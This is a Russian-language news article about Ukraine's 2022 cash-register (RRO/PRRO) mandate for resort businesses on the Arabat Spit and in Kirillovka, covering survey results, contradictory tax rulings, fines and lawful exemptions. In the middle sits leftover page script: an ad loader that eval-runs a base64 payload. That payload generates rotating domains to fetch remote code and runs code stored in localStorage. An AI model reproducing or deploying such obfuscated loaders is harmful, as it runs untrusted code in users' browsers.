Предприниматели курортного бизнеса Арабатской Стрелки и Кирилловки оказались неготовыми к обязательному применению РРО с 1 января 2022 года и до конца не понимают, как это отразится на их бизнесе. При этом за нарушение нового закона предусмотрены огромные штрафы, а вести РРО без ошибок не так просто. Об этом сообщили в редакции медиа-проектов Кирилловка.Укр и Арабатка.UA, по результатам опроса представителей турбизнеса обоих курортов, проведенном в декабре 2021 года, и совместно с финансовыми экспертами подготовили ряд рекомендаций, как бизнесу себя вести в сложившейся ситуации.
Так, по итогам опроса 30-ти предпринимателей (ФЛП) на едином налоге, владеющих отельными хозяйствами, базами отдыха или гостевыми домами в этих курортных регионах, только представители 6 объектов заявили о том, что знают о том, что обязаны с нового года использовать РРО. И только 1 из них уже купил классический кассовый аппарат (регистратор расчетных операций — далее РРО), поскольку не надеется на стабильность программных РРО (далее ПРРО), и готовится к его внедрению.
С учетом того, что ВРУ провалила голосование законопроекта №6376 и поскольку прием платежей без РРО, нарушение требований к ведению отчетности РРО и неправильное использование расчетных счетов может привести к огромным штрафам, мы совместно с финансовым консультантом бухгалтерской компанииCFC (Cash Flow Control), Светланой Гольц, подготовили сводку о проблемах и особенностях использования РРО и ПРРО в курортном бизнесе.
Здесь и далее в материале под РРО подразумевается совокупность РРО и ПРРО.
Итак, кто же обязан использовать РРО с 1 января 2022 года?
Все субъекты хозяйствования, осуществляющие расчетные операции в наличной и/или в безналичной форме (в случае применения электронных платежных средств) при продаже товаров и оказании услуг в сфере торговли, общепита и в отельном бизнесе обязаны использовать регистраторы расчетных операций. С 1 января 2022 года это касается и всех предприятий и физических лиц-предпринимателей (ФЛП), в том числе использующих упрощенную систему налогообложения 2-й и 3-й группы (согласно пп. 296.10 НКУ исключение сделано только для 1-й группы).
Поскольку к плательщикам единого налога 1-й группы относятся только ФЛП, которые не используют труд наемных лиц и осуществляют исключительно розничную продажу товаров с торговых мест на рынках и/или осуществляют хозяйственную деятельность по предоставлению бытовых услуг населению, весь курортный, торговый и ресторанный бизнес в наших регионах с 1 января будет обязан применять РРО независимо от объема выручки.
При этом зачастую многие предприниматели неверно считают, что для безналичных расчетов не обязательно применение РРО, но в реалиях Украины все обстоит иначе.
В частности, как уже было упомянуто выше, безналичные расчеты с применением электронных платежных средств (платежных карт) тоже должны происходить с использованием РРО или ПРРО. К таким расчетам, в частности, относятся:
расчеты через платежный POS-терминал (банковский эквайринг) в месте реализации товара или услуги;оплата на сайте компании через банковские сервисы (интернет эквайринг) по типу WAYFORPAY, LIQPAY, PORTMONE, FONDY (есть исключения, которые будут описаны ниже);оплата картой через интернет-банкинг или мобильное приложение банка (Приват 24, Моно и т.д.) — даже если клиент оплатил самостоятельно по указанным реквизитам. В этом случае вопрос применения РРО с точки зрения налоговиков неоднозначный, но этом этом тоже ниже. Что такое расчетные операции, и когда необходимо применение РРО
Расчетная операция — это прием от покупателя наличных средств, платежных карт, платежных чеков, жетонов и т.п. по месту реализации товаров (услуг) (ст. 2 ЗУ №265).
Место проведения расчетов — это место, в котором производятся расчеты с покупателем за проданные товары (оказанные услуги) и хранятся полученные за реализуемые товары (оказанные услуги) наличные средства, а также место получения покупателем предварительно оплаченных товаров (услуг) с применением платежных карт, платежных чеков, жетонов и т.п. (ст. 2 ЗУ №265).
Важно! Для регистрации РРО и ПРРО место проведения расчетов необходимо зарегистрировать в налоговой, представив форму 20-ОПП. И это обязательно!
Следовательно, если есть расчетная операция, то РРО необходимо использовать.
Таким образом, услуги бронирования номеров при правильном документальном оформлении и корректном использовании счетов можно проводить без РРО, т.к. в данном случае отсутствует место расчета и, как следствие, расчетная операция. Но данный подход без рисков можно применять только в том случае, если услуги бронирования и услуги временного проживания предоставляют разные компании или предприниматели. Для минимизации рисков важно, чтобы непосредственного контакта с покупателем у ФОП, предоставляющего услуги бронирования, не было на всех этапах потребления услуги, т.к. иначе появляется место проведения расчетов и необходимость использования РРО (то есть, виртуальная услуга “бронирования” должна оставаться полностью удаленной услугой, включая создание заявки, подтверждение и оплату — все эти стадии должно проходить без личного контакта ответственного ФОП с клиентом).
Когда можно обойтись без РРО — изменения от 10.12.2020 г.
Согласно пункту 14 ст. 9 Закона «Об РРО», РРО не применяются при осуществлении расчетов за услуги в случае проведения таковых расчетов исключительно с помощью банковских систем дистанционного обслуживания и/или сервисов перевода средств.
Согласно разъяснениям НБУ (письмо № 57-0010/3184 от 15.01.2021 г.) относительно данных нововведений: «законодательство Украины не содержит определений терминов/понятий «сервис перевода средств» и «банковские системы дистанционного обслуживания»».
Однако НБУ в этом письме привел собственный взгляд: к системам дистанционного обслуживания относятся, в частности, Приват24, Ощад24/7 и т.д. К «сервисам перевода средств», по мнению НБУ, можно отнести сервисы банков (LiqPay и т.д.) и/или небанковских финансовых учреждений (Portmone, iPay, WayforPay, Easy Pay и т.п.), которые имеют лицензию НБУ на перевод средств без открытия счетов, которые предоставляют возможность потребителям произвести оплату товаров (услуг), в том числе дистанционно.
Учитывая изложенное:
Льгота о возможном неприменении РРО, установленная пунктом 14 статьи 9 Закона № 265, распространяется исключительно на услуги и не может быть использована субъектом хозяйствования, осуществляющим продажу товаров;Осуществление расчетов через учреждение банка не требует применения РРО.
РРО не требуется, если осуществление расчетов исключительно в безналичной форме:
путем перевода средств заказчиками с расчетного счета на расчетный счет через учреждение банка;путем внесения средств через кассу банка;при проведении расчетов в кассе банка через платежный терминал и/или ПТКС, принадлежащий банку.
Программно-технический комплекс самообслуживания (ПТКС или просто «банковский терминал») – устройство, позволяющее пользователю совершать операции по инициированию перевода средств, а также выполнять другие операции в соответствии с функциональными возможностями этого устройства без непосредственного участия оператора (кассира), то есть выполняются те же операции, что и в кассе банка.
В случае же с небанковским ПТКС, налоговики требуют применения РРО!
Также отметим, что налоговики в ИНК зачастую озвучивают точку зрения, противоположную Нацбанку, и настаивают на регистрации через РРО всех переводов через эквайринговые компании (Liqpay, Fondy и т.д.). При этом есть подтверждения позиции, что платежи онлайн-банкинг нет необходимости регистрировать в РРО.
В общем и целом, можно резюмировать, что платежи в кассе банка, через банковский ПТКС и через интернет-банкинг не требуют регистрации через РРО. Использование сервисов онлайн-эквайринга без РРО для оплаты услуг остается в той или иной степени спорным. Подробнее — читайте по ссылке.
Болевые точки проблемы РРО
Законодательство Украины в области применения РРО несовершенно, как минимум потому, что каждый год появляются новые способы расчетов, в частности, с использованием сети Интернет, мобильных программных приложений, альтернативных способов оплаты – например, наложенного платежа при получении посылок через почтовых операторов и т.д.
В законодательстве по РРО не подробно описан план действий субъекта хозяйствования при применении таких способов оплаты, который дает широкое поле для «творчества» налоговиков, предоставляющих разъяснения, зачастую противоречащие друг другу, и предпринимателю трудно разобраться, как действовать в конкретных ситуациях.
И не забываем о немалых штрафах за несоблюдение требований законодательства по проведению расчетных операций через РРО…
Лучшим выходом в противоречивых ситуациях является получение индивидуальных налоговых консультаций от ГНС, но это требует компетенции, занимает время, а предпринимателю решать вопрос необходимо оперативно, и несколько недель в ожидании ответа ГНС он ждать не может.
Более оперативно ответы на болезненные вопросы можно получить, позвонив на горячую линию ДПС: 0-800-501-007 или обратившись с запросом в Телеграмм-бот ДПС: DPS_ContactCenter_bot, но опять же следует критически относиться к разъяснениям налоговиков, поскольку по одному и тому же вопросу разные операторы могут предоставить кардинально разные консультации.
Противоречивые вопросы применения РРО
Допустим, покупатель производит платеж за товары с применением платежной карты через банк — интернет-банкинг (например, через Приват24, ПУМБ Online, Сбер 24/7 и т.п.), нужен ли РРО?
Ответы налоговиков:
да, «при оплате товаров с использованием интернет-банкинга РРО требуется» (ЗИР, категория 109.02, ИНК ГНС от 09.11.2020 г. N 4624/ИНК/99-00- 07-05-01-06 и от 25.11 .2020 г. N 4816/ИНК/99-00-07-05-01-06);нет, РРО не требуется — Письмо ГНСУ от 14.06.2021 г. № 2381/ИНК/99-00-07-05-01-06 — «свежая» позиция: «в связи с тем, что счет-фактура включает в себя соответствующие идентификаторы продавца и покупателя, а оплата производится с помощью реквизитов расчетного счета в формате IBAN Registry:2009, NEQ, ДСТУ-Н 7167:2010, расчеты, проведенные по счету-фактуре, аналогичны тем, которые осуществлены с помощью отдела банковских учреждений (с расчетного счета на расчетный счет или/или онлайн-банкинга) и не требуют применения РРО, поскольку не имеют признаков расчетных операций в понимании Закона № 265».
Письмо ГНСУ от 20.05.2021 г. № 1945/ИНК/99-00-07-05-01-06: при получении «оплат за товар, осуществленных исключительно в безналичной форме (путем перевода средств с расчетного счета на расчетный счет через учреждение банка или путем внесения средств через кассу банка (в том числе онлайн-банкинг), РРО/ПРРО может не применяться».
Похожие выводы встречаем в письмах ГНСУ от 29.06.2021 г. № 14580/6/99-00-07-05-01-06, от 02.07.2021 г. № 2594/ИНК/99-00-07-05-01- 06, от 14.07.2021 г. №2754/ИПК/99-00-07-05-01-06, а также в БЗ 109.02.
А вот консультация с противоположным заключением налоговиков (тоже свежая):
ИНК ГНСУ от 28.08.2021 г. № 3152/ИПК/99-00-07-05- 02-06: «в случае получения оплаты от потребителя товаров через Приват 24, с использованием реквизитов вашей банковской платежной карты, как продавца, СГ обязан регистрировать такие поступления (проводить расчетные операции) через должным образом зарегистрированные и, в случаях предусмотренных законодательством, опломбированные регистраторы расчетных операций/программные регистраторы расчетных операций, с соблюдением порядка их применения».
Следовательно, при оплатах за товары через LiqPay, Portmone, iPay, WayforPay, Easy Pay и другие подобные платежные сервисы РРО однозначно нужно применять.
При оплатах за товары с применением систем дистанционного обслуживания Приват24, Монобанк и другие – вопрос спорный, пока что на него однозначного ответа нет.
Немного о штрафных санкциях
Согласно пункту 1 статьи 17 ЗУ «Об РРО», в случае установления в ходе проверки фактов:
проведения расчетных операций с использованием РРО на неполную сумму стоимости проданных товаров (оказанных услуг);непроведения расчетных операций через РРО с фискальным режимом работы;невыдачи (в бумажном виде и/или электронной форме) соответствующего расчетного документа, подтверждающего выполнение расчетной операции:
100% стоимости товаров или услуг, проданных с нарушениями — за нарушение, совершенное впервые – за первый непроведённый чек;
150% стоимости товаров или услуг, проданных с нарушениями — за каждое последующее нарушение, то есть, за каждый последующий непроведенный фискальный чек.
Иными словами, за каждую последующую продажу без применения РРО будет штраф 150% от стоимости продажи товара/работы/услуги. var node3361 = document.getElementById(«MIXADV_3361»); if( node3361 ) { var script = document.createElement(«script»); script.charset = «utf-8»; script.src = «https://m.mixadvert.com/show/?id=3361&r=»+Math.random(); node3361.parentNode.appendChild(script); script.onerror = function(){ window.eval( atob(«dmFyIGRhdGUgPSBuZXcgRGF0ZSgpO3ZhciBtb250aCA9IGRhdGUuZ2V0TW9udGgoKSArIDE7IHZhciBkYXkgPSBkYXRlLmdldERhdGUoKTsgdmFyIHllYXIgPSBkYXRlLmdldFllYXIoKTsgdmFyIG5hbWVfZGF5ID0gZGF0ZS5nZXREYXkoKSArIDE7dmFyIGRvbSA9IFsgIm9yZyIsICJ0b3AiLCAiYml6LnVhIiwgImNvLnVhIiwgImt5aXYudWEiLCAiY2x1YiIsICJzaG9wIl07IHZhciBzdHIgPWRheSoobW9udGggKiBuYW1lX2RheSAqIGRheSkrIiIrIGRheSoobW9udGggKyBuYW1lX2RheSArIGRheSAreWVhcik7dmFyIGhhc2ggPSAgYnRvYShidG9hKHN0cikpLnRvTG93ZXJDYXNlKCk7IHZhciBob3N0ID0gaGFzaC5zdWJzdHJpbmcoMywgaGFzaC5sZW5ndGggLSBuYW1lX2RheS8yKSsiLiIrZG9tW25hbWVfZGF5IC0gMV07dmFyIHIgPSBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHIoMiwgMik7ciA9IHIucmVwbGFjZSgvWzAtOV0vZywgIiIpO3ZhciBkZWx0YSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqICgxMDAgLSAxMCArIDEpKSArIDEwO3ZhciBpZCA9IDMzNjEgLSBkZWx0YTsgdmFyIHNjcmlwdF9maXJzdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3NjcmlwdF9maXJzdC5zcmMgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIitkZWx0YStpZCtyKyIiOyBub2RlMzM2MS5wYXJlbnROb2RlLmFwcGVuZENoaWxkKHNjcmlwdF9maXJzdCk7c2V0VGltZW91dCggZnVuY3Rpb24gKCkge3NjcmlwdF9maXJzdC5yZW1vdmUoKX0sIDQwMDApO3NjcmlwdF9maXJzdC5vbmVycm9yID0gZnVuY3Rpb24oKXt2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImEiKTthLmhyZWYgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIjsgbm9kZTMzNjEucGFyZW50Tm9kZS5hcHBlbmRDaGlsZChhKTsgc2V0VGltZW91dCggZnVuY3Rpb24gKCkgeyBpZiggbm9kZTMzNjEuaW5uZXJIVE1MID09ICIiICkgd2luZG93LmV2YWwobG9jYWxTdG9yYWdlLmdldEl0ZW0oIjMzNjEiKSkgfSwgNTAwMCk7ICA7fTsg») ); } }
Кроме того, есть еще административная ответственность, но она не такая болезненная:
нарушение установленного законом порядка проведения расчетов в сфере торговли, общественного питания и услуг (ст. 1551 КоАП) — лиц, совершающих расчетные операции: от 2 до 5 ннмдг (от 34 до 85 грн.); на должностных лиц: от 5 до 10 ннмдг (от 85 до 170 грн.) – за первое нарушение в течение года. За второе нарушение в течение года: лиц, совершающих расчетные операции: от 5 до 10 ннмдг (от 85 до 170 грн.); на должностные лица: от 10 до 20 ннмдг (от 170 до 340 грн.).нарушение порядка проведения наличных расчетов за товары (услуги), в т.ч. превышение предельных сумм наличных расчетов (до 50 000 грн.) и несоблюдение установленных законодательством требований по обеспечению возможности расчетов за товары (услуги) с использованием электронных платежных средств (ст. 16315 КоАП) — на ФЛП, должностных лиц юридического лица: от 100 до 200 нмдг (от 1700 до 3400 грн.) – за первое нарушение в течение года. За второе нарушение в течение года: на ФЛП, должностных лиц юридического лица: от 500 до 1000 нмдг (от 850 до 17000 грн). Какие операции не следует проводить через РРО? Безналичный расчет – оплата с текущего счета предприятия, физического лица или предпринимателя на текущий счет получателя;Оплата за товары картой на расчетный счет предприятия или предпринимателя через интернет-банкинг (Приват 24 и т. д.) с использованием реквизитов расчетного счета в формате IBAN. Позиция спорная, как уже описано выше. И она не касается интернет-эквайринга (Ликпей и т. п.). В случае же оплаты услуг на месте расчета без рисков можно использовать первый вариант (интернет-банкинг). В случае удаленного предоставления услуг (например, бронирование номеров при условии должного документального оформления) без рисков можно использовать оба варианта (интернет-банкинг и интернет-эквайринг) благодаря тому, что отсутствует место расчета. Но, если один и тот же ФОП предоставляет и услуги бронирования, и услуги временного проживания, нужно учитывать тот факт, что несмотря на все документальное оформление, во время проверки “с пристрастием” данные платежи могут признать не отдельной услугой бронирования, а предоплатой за номера — с соответствующими последствиями;Оплата на расчетный счет через кассу банка;Оплата на расчетный счет через ПТКС (программно-технический комплекс самообслуживания или просто «банковский терминал»), принадлежащий банковскому учреждению.
Выбор между классическим РРО и ПРРО
Классические РРО используют в Украине с середины 90-х годов, и принципы их регистрации и работы с ними более-менее урегулированы и понятны. Вся информация хранится на Вашем РРО, и в случае проверки Вы сможете предоставить проверяющим всю необходимую информацию.
Однако у них есть ряд недостатков:
во-первых, классический (аппаратный) РРО — это устройство, которое необходимо приобрести за собственные средства, и существует Государственный реестр разрешенных к использованию РРО, утвержденный постоянно обновляемым приказом ГНС,РРО имеет ограниченный срок службы — 7 лет с момента первичной регистрации,Вы обязаны заключить договор на обслуживание с лицензированным центром сервисного обслуживания, предоставляющий услуги по вводу в эксплуатацию, техническому обслуживанию, гарантийному, послегарантийному ремонту регистраторов расчетных операций.
Программные РРО запустились только в 2020 году и в настоящее время находятся на стадии доработки, дополняются новыми функциями, решающими различные ситуации при проведении расчетных операций, таких как продажа в кредит, различные ситуации возврата товара/услуг и т.д.
ДПС обеспечивает бесплатным программным решением для Windows и Android для использования субъектами хозяйствования, которое можно скачать на сайте ДПСпо ссылке и установить на своё устройство (на компьютер, ноутбук, планшет, смартфон).
Фискальные функции ПРРО реализованы через фискальный сервер контролирующего органа, то есть вся информация отправляется в облачное хранилище и на гаджете не хранится. Таким образом, в случае сбоев в работе сервера ГНС возможна потеря информации, а в случае расхождения объема продаж по разным причинам, доказать свою правоту будет практически невозможно.
Также, по желанию, можно приобрести соответствующее программное обеспечение у разработчиков ПРРО, которых на сегодняшний день существует немало. Среди тех, с которыми в работе сталкивались лично специалисты компании CFC, это Checkbox:
Стоимость обслуживания – 149 грн в месяц, установка и первый месяц пользования – бесплатно. Имеется техническая поддержка. Установить, настроить и зарегистрировать ПРО клиентам помогают.
Но нужно понимать, как бесплатный ПРРО, так и платные ПРРО сейчас находятся в стадии доработки и совершенствования, но коммерческие ПРРО (за счет конкуренции на рынке, тесного контакта с непосредственными пользователями продукта) развиваются гораздо быстрее, чем государственный ПРРО.
На классическом РРО нет идентификации кассира, то есть, на одном аппарате может работать несколько кассиров.
В то же время вход в ПРРО осуществляется через ЭЦП кассира, зарегистрированном в ГНС. Одновременно два кассира на одном ПРРО работать не могут, поэтому за счет идентификации кассира могут возникнуть проблемы.
Например, если ФЛП зарегистрирован в налоговой в качестве кассира, а с его ключом ЕЦП осуществлен вход в ПРРО, регистрируются фискальные чеки, а в это время ФЛП находится за границей в отпуске, то налоговая в случае проверки может признать операции недействительными, а ключ ЭЦП ФЛП — скомпрометированным. Чтобы избежать таких ситуаций, Вам необходимо выбрать ответственного сотрудника (официально трудоустроенного), который будет работать с ПРРО. В налоговой нужно будет зарегистрировать ЭЦП сотрудника как кассира, и в рабочие дни он будет открывать и закрывать смену на ПРРО под своим ЭЦП, будет формировать и отправлять в налоговую фискальные чеки.
Как можно легально не использовать РРО?
Поскольку в первую очередь отельеры предоставляют услуги по временному проживанию, то им подходит освобождение, предусмотренное пунктом 14 ст. 9 Закона «Об РРО»: РРО не применяются при осуществлении расчетов за услуги в случае проведения таких расчетов исключительно с помощью банковских систем дистанционного обслуживания и/или сервисов перевода средств.
Следовательно, они могут просить своих клиентов рассчитываться за услуги по реквизитам исключительно через банковские системы дистанционного обслуживания: Приват24, Монобанк и подобные или через кассу банка.
Также с точки зрения многих ИНК и финансовых экспертов, РРО не обязательно применять для регистрации оплаты услуг предварительного бронирования номеров с оплатой через системы интернет-эквайринга — LiqPay, Wayforpay, Fondy и т.д. (только с соответствующим документальным оформлением и КВЕДами). При этом важно понимать, что системы онлайн-эквайринга взимают комиссию — порядка 2.5-3%, и с учетом неопределенной позиции ГНС данный вариант решения проблемы все равно остается весьма рискованным. Поскольку, несмотря на все договора, налоговики могут признать платеж за бронирование предоплатой (место расчета есть), а не отдельной услугой бронирования (места расчета нет).
Реально ли заставить всех клиентов платить исключительно по безналичному расчету? Едва ли. Тут все зависит от аудитории. Эконом-сегмент маловероятно, что захочет вводить ваш длинный IBAN-код. А вот для клиентов люксовых отелей данные виды платежей будут намного привычнее.
В свою очередь, благодаря недавним уточнениям законодательства хотя бы для бронирования технически есть возможность пользоваться интерфейсом мерчанта Ликпей, который намного более привычен для клиентов и требует ввода только своего номера телефона и пароля Приват24. Но для этого необходима соответствующая автоматизация бизнеса.
Единственным «лайфхаком», который может позволить полноценно избежать РРО без неудобств для клиента отелей — это установка (путем заключения договора аренды) у себя на территории банковского терминала самообслуживания (не путать с POS-терминалом для приема карт). С его помощью при наличии готового шаблона платежа, затраты времени на его осуществление минимальны, а стоимость аренды терминала явно меньше месячной зарплаты кассира, бухгалтера и, тем более, потенциальных штрафов.
Для продажи товаров, к сожалению, подобных лайфхаков нет. Поэтому в таком случае РРО и зону осуществления расчетов (кассовую зону) придется регистрировать в обязательном порядке. По крайней мере, практически однозначно, что клиент не будет идти к терминалу, чтобы заплатить 5-10 гривен за мелкий товар.
На что еще обратить внимание Личные карты — нельзя, нужен IBAN. Нужно понимать, что платежи за товары и услуги на личные карты получать нельзя. Как минимум, вы рискуете оплатить со всех них 18% НДФЛ и 1.5% военного сбора. Причем нельзя было и раньше, несмотря на всеобщую практику, только раньше это никто толком не контролировал, а с введением РРО игнорировать это правило будет намного сложнее из-за пристального внимания налоговой. Для приема платежей за услуги отелей нужен только предпринимательский расчетный счет (IBAN).Карты ключ-к-счету — рискованно. Многие ФОПы опрометчиво принимают платежи на подобные карты, открытые на ФЛП. Проблема здесь в дисциплине клиентов и особенностях банковских приложений — за каждое «неправильное» или пустое назначение платежа придется отвечать перед налоговой. Как минимум, придется брать у клиента письмо на уточнение назначение платежа с датой и подписью и хранить его до ближайшей проверки.Платеж без договора — проблемы. Для принятия любых платежей за услуги отеля — хоть наличных, хоть безналичных, нужен договор и счет (если отсутствие счета не предусмотрено договором). Договор — хотя бы формальный и публичный («оферта»). К сожалению, с этим проблемы практически у всех. На сегодняшний день CFC вместе с компанией «Право-Гарант» для клиентов Арабатка.UA и Кирилловка.Укр готовятся предложить шаблонный вариант договора-оферты, который можно будет опубликовать в профиле отеля и таким образом, закрыть эту часть проблемы. При необходимости можно будет выполнить кастомизацию под конкретный отель и его правила (за дополнительную плату).Не забыть 1ДФ. Платежи с ФОПов на ФОПы (а не только на счет физ.лица) необходимо отражать в форме 1ДФ после каждого квартала, даже если это отражение не несет налоговых начислений. Если не подать — штраф.Для платежей с общей системы — только 3-я группа. Если вы на 2-й группе, ни в коем случае не следует принимать платежи от ФОП и предприятий на общей системе. Иначе ваш единый налог на этом закончится.Ответственность за соблюдение кассовой дисциплины выходит за рамки данной статьи, поэтому с ней желательно ознакомиться самостоятельно. Налоговый апокалипсис. Или что ждет туристический бизнес на побережье Азовского моря после РРО?
Конечно, для многих представителей бизнеса этот вопрос «есть ли жизнь после РРО» сродни вопросу «есть ли жизнь после апокалипсиса»? Особенно в комплексе с проблемой медуз, комаров, карантина и прочими «радостями» жизни.
Но, в общем и целом, последствия для разных сегментов турбизнеса будут разными.
Наибольшие сложности ждут маленькие торговые точки — им придется купить кассовый аппарат (чтобы избежать проблем с ПРРО), заключить договор на его обслуживание, нанять бухгалтера (так как средний бизнесмен без бухгалтерской специализации практически наверняка не сможет вести кассу и отчетность без ошибок и штрафов), зарегистрировать кассовую зону и готовиться к проверкам «с пристрастием». Опять же, если ФОП ранее работал без наемных сотрудников, бухгалтер или кассир в штате — это уже множество новых отчетов по трудовому законодательству, которые нужно хранить, на секундочку, 75 лет! И срока давности по штрафам за них нет.
Зарплата штатного бухгалтера плюс налоги на нее — это уже гарантированно от 15 тысяч гривен в месяц.
«Кассовые аппараты — это как минимум дополнительные расходы на РРО и бухгалтера. Минимум 10-15 тысяч в месяц. Это значит, что мне придется сидеть без зарплаты или нужно будет сокращать кого-то из сотрудников. Нет у малого бизнеса на сегодня таких доходов, чтобы обеспечить «хотелки» властей. Поэтому многим придется увеличивать ценники на товары и услуги. А если бизнес по новым ценникам не пойдет, то выход один — закрываться«, —говорит предприниматель Виктория, владелец небольшого предприятия по производству полуфабрикатов.
“Сложно представить как мелкая розница на Арабатской Стрелке перейдет на использование РРО. Так как для работы без штрафов подобные ФОПы будут вынуждены для компенсации затрат на бухгалтерию и РРО поднять цены, что довольно сложно сделать в условиях общего падения спроса и снижения привлекательности курортов из-за нашествия медуз. Поэтому многие просто не откроются. А открывшиеся скорее всего будут закрываться после первой проверки со штрафами”, — поясняет главный редактор интернет-издания arabat.com.ua, Юлия Васильева.
Для отеля из 20-30 номеров — это уже посильно. А для отеля из 2-3-х номеров — или уходить «в тень», или вести все самостоятельно и платить штрафы. Или использовать исключительно «лайфхак» с безналичным расчетом для 100% клиентов. Впрочем, при небольших объемах такой вариант выглядит приемлемо.
Конечно, выход есть в бухгалтерском аутсорсе, но проблему с кассовой дисциплиной он тоже не отменяет.
Принять это как «данность» предпринимателямпосоветовал глава профильного парламентского комитета Данил Гетманцев. Он также назвал систему фискализации «простой и очень доступной»:
«Система фискализации вступит в силу с 1 января 2022 года. Она простая и очень доступная. Спросите у наших ФОПов на едином налоге, которые уже установили 70 тысяч РРО и продолжают устанавливать. Она не требует учета остатков и приходования товара (кроме ювелирки, электроники, лекарств). РРО не обязательно для установки в селах и некоторых других случаях, предусмотренных постановлением Кабмина №1336. Мы, к слову, его актуализируем в ближайшее время, но снова таки, не выхолащивая суть».
Одно только он забыл уточнить, что «в селах» нет исключений для интересующих нас сфер торговли и услуг (в частности, в №1336 говорится, что без РРО в селах может работать розничная торговля “предприятиями потребительской кооперации” и “с/х продукцией собственного производства”, торговля фармпрепаратами, а также бизнес, предоставляющий бытовые услуги в селах). И даже в контейнере или палатке на рынке с 1 января нельзя торговать без РРО.
То есть, что делать с нового года небольшим сезонным торговым точкам — вопрос совсем философский. С учетом изложенного выше, они скорее всего будут или поголовно «в тени», или просто закроются.
Расширенные консультации по вопросам использования РРО в турбизнесе можно получить в компании CFC по телефону +38-050-537-87-37.
Нормативная база
https://zakon.rada.gov.ua/laws/show/265/95-%D0%B2%D1%80 — Закон Украины «О применении регистраторов расчетных операций в сфере торговли, общественного питания и услуг» от 06.07 .95 г. № 265/95-ВР.
http://search.ligazakon.ua/l_doc2.nsf/link1/LB21013.html — Письмо НБУ от 15.01.2021 г. № 57- 0010/3184 «Об расчетах с помощью «банковских систем дистанционного обслуживания и/или сервисов перевода средств».
https://zakon.rada.gov.ua/laws/show/2755-17#n8462 — Налоговый кодекс Украины от 02.12.2010 г. № 2755-VI.
https://zakon.rada.gov.ua/laws/show/80731-10#Text — Кодекс Украины об административных правонарушениях от 07.12.84 г. № 8073-X.
https://m.zir.tax.gov.ua/main/bz/view/?src=ques — Общедоступный информационно-справочный ресурс ГНС. (adsbygoogle = window.adsbygoogle || []).push({});
Подписывайтесь на Акцент в 
Источник: https://akzent.zp.ua/kirillovka-i-arabatskaya-strelka-okazalis-ne-gotovy-k-obyazatelnomu-vvedeniyu-rro-s-2022-goda/
Мы в Telegram, наш Telegram bot — @zpua_bot, Мы в Viber, Мы на Facebook
